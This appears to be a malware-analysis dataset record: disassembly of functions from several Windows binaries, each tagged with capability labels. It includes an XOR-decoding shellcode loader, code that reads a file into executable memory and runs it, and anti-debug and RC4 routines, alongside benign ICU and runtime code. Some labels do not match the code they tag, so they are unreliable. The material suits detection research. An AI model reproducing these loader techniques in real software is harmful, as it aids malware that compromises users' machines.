joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10034690
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x10200c9c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x102044b0]
mov dword [ebp - 0x60], 0
test eax, eax
jne 0x1003477f
push 0x55
push 0x102044b8
push 0x5c
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoEx]
test eax, eax
jle 0x10034768
push esi
push 0x55
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.1010ca00
add esp, 0xc
mov esi, 0x2d
xor edx, edx
nop dword [eax]
nop dword [eax + eax]
movzx eax, word [edx*2 + 0x102044b8]
cmp eax, 0x5f
movzx ecx, al
cmove ecx, esi
mov byte [ebp + edx - 0x5c], cl
test cl, cl
je 0x10034713
inc edx
cmp edx, 0x55
jl 0x100346f0
mov byte [ebp - 8], 0
push 0x41
call fcn.10051490
mov esi, eax
add esp, 4
test esi, esi
je 0x10034767
lea eax, [ebp - 0x60]
push eax
push 0x40
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.10051490
add esp, 0x10
cmp dword [ebp - 0x60], 0
jg 0x1003475e
push 0x10033e30
push 0x17
mov byte [eax + esi], 0
mov dword [0x102044b0], esi
mov byte [0x102044b4], 1
call fcn.10051490
add esp, 8
jmp 0x10034767
push esi
call fcn.10051490
add esp, 4
pop esi
mov eax, dword [0x102044b0]
mov ecx, 0x1016b5e8
test eax, eax
cmovne ecx, eax
mov dword [0x102044b0], ecx
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e9efb
mov esp, ebp
pop ebp
ret
Function at 0x10051490
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1005149f
pop dword [ebp - 0x4c]
mov eax, 0x1005149f
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x8c6b9
push 0
mov eax, 0xdbbc2881
add eax, 0x3459a8c3
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x4c7e
mov edx, eax
mov esi, 0x7493fcb0
add esi, 0x9b8d5f50
add esi, dword [ebp - 0x4c]
mov ebx, 0x62127957
add ebx, 0xf305e6c0
sub dword [ebp - 0x38], eax
mov edi, dword [esi]
mov dword [ebp - 0x20], 0xfb2bf6af
xor edi, ebx
add dword [ebp - 0x28], 0x69478aae
mov dword [edx], edi
xor dword [ebp - 0x18], 0x2987e755
add edx, 0xa271ea05
sub edx, 0xa271ea01
add esi, 4
loop 0x100514f3
add eax, 0xa9c3ed7c
sub eax, 0xa9c2c8b1
xor ebx, ebx
add ebx, eax
add eax, 0xb765cde2
add eax, 0x489a3223
mov ecx, 0xb6ed2683
sub ecx, 0xa6ed2683
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x100a94f0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158b43
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [edi + 4], vtable.icu_69::UnicodeMatcher.0
mov esi, dword [ebp + 8]
lea eax, [edi + 0x34]
mov dword [edi], vtable.icu_69::UnicodeSet.0
mov dword [edi + 4], vtable.icu_69::UnicodeSet.1.0
mov dword [edi + 8], eax
mov dword [edi + 0xc], 0x19
mov dword [edi + 0x10], 1
mov byte [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
push dword [esi + 0x10]
mov dword [ebp - 4], 0
call fcn.10051490
test al, al
je 0x100a96f1
mov eax, dword [esi + 0x10]
mov dword [edi + 0x10], eax
shl eax, 2
push eax
push dword [esi + 8]
push dword [edi + 8]
call fcn.1010cb60
mov eax, dword [esi + 0x2c]
add esp, 0xc
test eax, eax
je 0x100a9698
cmp dword [eax + 4], 0
je 0x100a9698
push 0x18
mov dword [ebp - 0x10], 0
call fcn.10051490
add esp, 4
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 1
test eax, eax
je 0x100a95f8
lea ecx, [ebp - 0x10]
push ecx
push 1
push sym.icuuc69.dll_uhash_compareUnicodeString_69
push sym.icuuc69.dll_uprv_deleteUObject_69
mov ecx, eax
call fcn.10051490
mov ebx, eax
jmp 0x100a95fa
xor ebx, ebx
mov byte [ebp - 4], 0
mov dword [edi + 0x2c], ebx
test ebx, ebx
jne 0x100a960e
mov dword [ebp - 0x10], 7
jmp 0x100a9648
cmp dword [ebp - 0x10], 0
jle 0x100a962f
mov eax, dword [ebx]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x1015d234]
mov ecx, ebx
call esi
mov dword [edi + 0x2c], 0
jmp 0x100a9648
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
push 0x100aae10
push dword [esi + 0x2c]
call fcn.10051490
cmp dword [ebp - 0x10], 0
jle 0x100a9698
cmp dword [edi + 0x18], 0
jne 0x100a9692
cmp dword [edi + 0x30], 0
jne 0x100a9692
mov eax, dword [edi + 8]
mov dword [eax], 0x110000
mov eax, dword [edi + 0x24]
mov dword [edi + 0x10], 1
test eax, eax
je 0x100a9682
push eax
call fcn.10051490
add esp, 4
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov ecx, dword [edi + 0x2c]
test ecx, ecx
je 0x100a968e
call sym.icuuc69.dll_public:_void___thiscall_icu_69::UVector::removeAllElements_void_
mov byte [edi + 0x14], 0
mov byte [edi + 0x14], 1
jmp 0x100a96f1
mov ebx, dword [esi + 0x24]
test ebx, ebx
je 0x100a96f1
mov eax, dword [edi + 0x24]
mov esi, dword [esi + 0x28]
test eax, eax
je 0x100a96c0
push eax
call fcn.10051490
add esp, 4
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
lea eax, [esi*2 + 2]
push eax
call fcn.10051490
add esp, 4
mov dword [edi + 0x24], eax
test eax, eax
je 0x100a96f1
push esi
push ebx
push eax
mov dword [edi + 0x28], esi
call fcn.10051490
mov ecx, dword [edi + 0x28]
add esp, 0xc
mov eax, dword [edi + 0x24]
xor edx, edx
mov word [eax + ecx*2], dx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100a9710
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158b68
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push 0
push dword [ebp + 8]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
mov dword [esi], vtable.icu_69::UnicodeSet.0
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.10051490
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x100a97c0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158b98
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push dword [ebp + 0xc]
lea eax, [esi + 0x34]
mov dword [esi], vtable.icu_69::UnicodeSet.0
push dword [ebp + 8]
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [ebp - 4], 0
mov dword [eax], 0x110000
call fcn.10051490
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x100ad890
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158f58
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push dword [ebp + 0x18]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
push dword [ebp + 0x14]
mov dword [esi], vtable.icu_69::UnicodeSet.0
push dword [ebp + 0x10]
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
push dword [ebp + 0xc]
mov dword [esi + 8], eax
push dword [ebp + 8]
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.10051490
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x14

Function at 0x100ad950
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158f88
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push dword [ebp + 0x14]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
push dword [ebp + 0x10]
mov dword [esi], vtable.icu_69::UnicodeSet.0
push dword [ebp + 0xc]
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
push dword [ebp + 8]
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.10051490
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x100ae130
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10159098
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push dword [ebp + 0xc]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
push dword [ebp + 8]
mov dword [esi], vtable.icu_69::UnicodeSet.0
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.10051490
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x401140
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
push edi
mov eax, 0x5572
lea ebx, [esi + 0x70]
lea edi, [esi + 0x58]
mov dword [ebp - 4], 0x2a
jmp 0x401160
cdq
and edx, 0x7f
add eax, edx
sar eax, 7
test eax, eax
jne 0x401160
mov eax, dword [ebp + 8]
test eax, eax
je 0x401262
mov edx, dword [ebp + 0xc]
test edx, edx
je 0x401262
cmp eax, edx
jae 0x401262
mov esi, eax
mov edi, edx
sub edi, esi
mov edx, 0x7a27
mov ebx, 0x72
mov eax, 0x36
cmp eax, 0x72
cmovg eax, ebx
dec edx
jne 0x4011a0
mov ecx, 0x296d
mov edi, edi
mov eax, 0x2aaaaaab
imul ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x4011b0
mov ebx, 0xb01
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x4011c5
mov edx, 0x4bb7
mov ebx, 0xd0
mov eax, 0xfe
lea esp, [esp]
cmp eax, 0xd0
cmovl eax, ebx
dec edx
jne 0x4011f0
mov ecx, 0x2356
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x401200
mov ecx, dword [ebp - 4]
mov eax, 0x721
mov edx, 0x75
cmp ecx, edx
cmovl ecx, edx
dec eax
jne 0x401220
xor ecx, ecx
test edi, edi
je 0x40123e
mov edi, edi
mov al, byte [ecx + esi + 1]
sub al, 0x29
xor byte [ecx + esi], al
inc ecx
cmp ecx, edi
jb 0x401230
mov ecx, 0x3096
mov edx, 0xbe
mov eax, 5
lea ecx, [ecx]
cmp eax, 0xbe
cmovl eax, edx
dec ecx
jne 0x401250
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc esi
mov eax, 0x66666667
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, esi
lea eax, [eax + eax*4]
sub ecx, eax
jne 0x40127d
inc esi
cmp esi, 0x1740
jl 0x401262
mov eax, 0x22a9
mov ecx, 0xa3
nop
cmp ebx, ecx
cmovl ebx, ecx
dec eax
jne 0x401290
mov eax, 0x6fb1
mov ecx, 0x6a
cmp edi, ecx
cmovg edi, ecx
dec eax
jne 0x4012a2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402450
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, 0x20f4
push edi
xor edi, edi
xor esi, esi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], 0x1385
xor ebx, ebx
mov edi, edi
inc ebx
mov eax, 0x55555556
imul ebx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, ebx
lea eax, [eax + eax*2]
sub ecx, eax
jne 0x402489
inc ebx
cmp ebx, 0x371a
jl 0x402470
mov esi, 0x37ff
mov eax, 0x6bca1af3
imul esi
sar edx, 3
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x402496
lea esp, [esp]
inc edi
mov eax, 0x2aaaaaab
imul edi
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
add ecx, ecx
mov eax, edi
sub eax, ecx
jne 0x4024cb
inc edi
cmp edi, 0xfe2
jl 0x4024b0
inc esi
mov eax, 0x2aaaaaab
imul esi
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
add ecx, ecx
mov eax, esi
sub eax, ecx
jne 0x4024ee
inc esi
cmp esi, 0x4c8a
jl 0x4024d3
jmp 0x402500
mov eax, 0x2aaaaaab
imul dword [ebp - 4]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 4], eax
jne 0x402500
mov ebx, 0x1492
lea esp, [esp]
mov eax, 0x2fa0be83
imul ebx
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x402520
mov ebx, dword [ebp - 8]
mov eax, 0x82082083
imul ebx
add edx, ebx
sar edx, 7
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x402536
mov ecx, 0x1260
mov edx, 0xcc
mov eax, 0xe3
lea ebx, [ebx]
cmp eax, 0xcc
cmovl eax, edx
dec ecx
jne 0x402560
mov eax, 0x222d
dec eax
jne 0x402570
xor edi, edi
cmp dword [ebp + 0x10], edi
jbe 0x4025c9
mov edx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
sub esi, edx
mov al, byte [edx]
cmp al, 0x41
jb 0x4025bd
cmp al, 0x7a
ja 0x4025bd
cmp al, 0x5a
jbe 0x402594
cmp al, 0x61
jb 0x4025bd
mov bl, byte [edx + esi]
cmp al, 0x5b
jae 0x4025ac
cmp al, bl
je 0x4025c2
movzx ecx, al
movzx eax, bl
add ecx, 0x20
cmp ecx, eax
jmp 0x4025c0
cmp al, bl
je 0x4025c2
movzx ecx, al
movzx eax, bl
sub ecx, 0x20
cmp ecx, eax
jmp 0x4025c0
cmp al, byte [edx + esi]
jne 0x4025d5
inc edi
inc edx
cmp edi, dword [ebp + 0x10]
jb 0x402582
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403090
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
xor edx, edx
push ebx
mov ecx, 0x73c3
mov ebx, 0x5c9a
mov dword [ebp - 8], edx
cmp dword [ebp + 0x10], edx
jbe 0x403160
mov ebx, dword [ebp + 8]
push esi
push edi
mov eax, dword [ebp + 0xc]
mov ecx, 0x19aa
mov al, byte [edx + eax]
mov byte [ebp - 1], al
mov esi, 0x7164
jmp 0x4030d0
mov eax, 0x2aaaaaab
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x4030d0
inc byte [ebx + 0x10e]
mov cl, byte [ebx + 0x10e]
nop
mov eax, 0x30c30c31
imul esi
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x4030f0
movzx eax, cl
lea edi, [ebx + 0xe]
add edi, eax
movzx eax, byte [ebx + 0x110]
movzx ecx, byte [edi]
add eax, ecx
mov byte [ebx + 0x110], al
movzx eax, al
lea esi, [ebx + 0xe]
add esi, eax
push esi
push edi
call fcn.00403560
mov al, byte [edi]
add al, byte [esi]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
movzx eax, al
inc edx
mov al, byte [eax + ebx + 0xe]
xor al, byte [ebp - 1]
add esp, 8
mov byte [edx + ecx - 1], al
mov dword [ebp - 8], edx
cmp edx, dword [ebp + 0x10]
jb 0x4030b4
pop edi
mov ebx, 0x5c9a
mov ecx, 0x73c3
pop esi
mov eax, 0x487ede05
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x403160
mov eax, 0x91a2b3c5
imul ebx
add edx, ebx
sar edx, 7
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x403173
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x40cf90
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.0040cff0

Function at 0x40cff0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x49a050]
test esi, esi
jle 0x40d0dd
mov edi, dword [0x49a054]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x40d024
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x40d0d6
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x40d010
mov dword [esp], eax
mov ebx, eax
call fcn.0040d930
test eax, eax
mov edi, eax
je 0x40d11a
lea ebx, [esi + esi*2]
mov esi, dword [0x49a054]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call fcn.0040da30
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x49a054]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40d0fa
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x40d0cf
sub eax, 0x40
and eax, 0xffffffbf
je 0x40d0cf
mov eax, dword [esp + 0x20]
add ebx, dword [0x49a054]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x40d0e4
add dword [0x49a050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x40d02e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.0040cf90
mov eax, dword [0x49a054]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.0040cf90
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.0040cf90
lea esi, [esi]
Function at 0x40d5e0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x49a408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x49a400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x40d635
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40d62e
test esi, esi
je 0x40d62e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40d610
mov dword [esp], 0x49a408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40d850
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x40d888
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x40d87e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40d88a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x40d870
xor eax, eax
pop ebx
pop esi
ret
Function at 0x40ecc0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov esi, eax
lea eax, [eax + 0x41]
and eax, 0xfffffff0
call fcn.0040db60
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
lea edi, [esp + 0xc]
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp], eax
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sub.msvcrt.dll_memcpy
lea eax, [esi + 0x10]
lea edx, [edi + eax]
mov dword [ebp - 0x20], eax
mov dword [edx], 0x61616161
mov dword [edx + 4], 0x61616161
mov dword [edx + 8], 0x61616161
mov dword [edx + 0xc], 0x61616161
mov dword [edx + 0x10], 0x61616161
mov dword [edx + 0x14], 0x61616161
mov dword [edx + 0x18], 0x61616161
mov dword [edx + 0x1c], 0x61616161
mov dword [ebp - 0x24], edx
mov byte [esp + esi + 0x3c], 0
mov byte [esp + esi + 0x1b], 0
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov byte [edi + esi + 0xf], 0x2d
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
mov edx, dword [ebp - 0x24]
je 0x40edaf
int3
mov dword [ebp - 0x24], edx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
mov edx, dword [ebp - 0x24]
jne 0x40ee53
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], edx
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov edx, dword [ebp - 0x24]
mov ebx, eax
mov eax, 0x20
bt ebx, eax
jae 0x40edea
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x40ede2
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
je 0x40ee50
lea ecx, [esi + 0x31]
mov esi, dword [ebp - 0x20]
movzx eax, ax
mov edx, edi
mov dword [esp], esi
call fcn.0040ec40
cmp eax, ebx
mov esi, eax
je 0x40ee6a
mov dword [esp], ebx
call sub.msvcrt.dll_free
mov edi, dword [ebp - 0x1c]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
int3
lea ecx, [esi + 0x31]
mov esi, dword [ebp - 0x20]
movzx eax, ax
mov edx, edi
mov dword [esp], esi
call fcn.0040ec40
mov esi, eax
jmp 0x40ee24
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40ee24
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x40ee24
Function at 0x41a8b0
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
sub esp, 0x18
mov ebx, dword [0x49ae40]
test ebx, ebx
je 0x41a8e0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [ebx], eax
mov eax, dword [0x49ae40]
test eax, eax
je 0x41a905
cmp dword [eax], 0xffffffff
je 0x41a928
add esp, 0x18
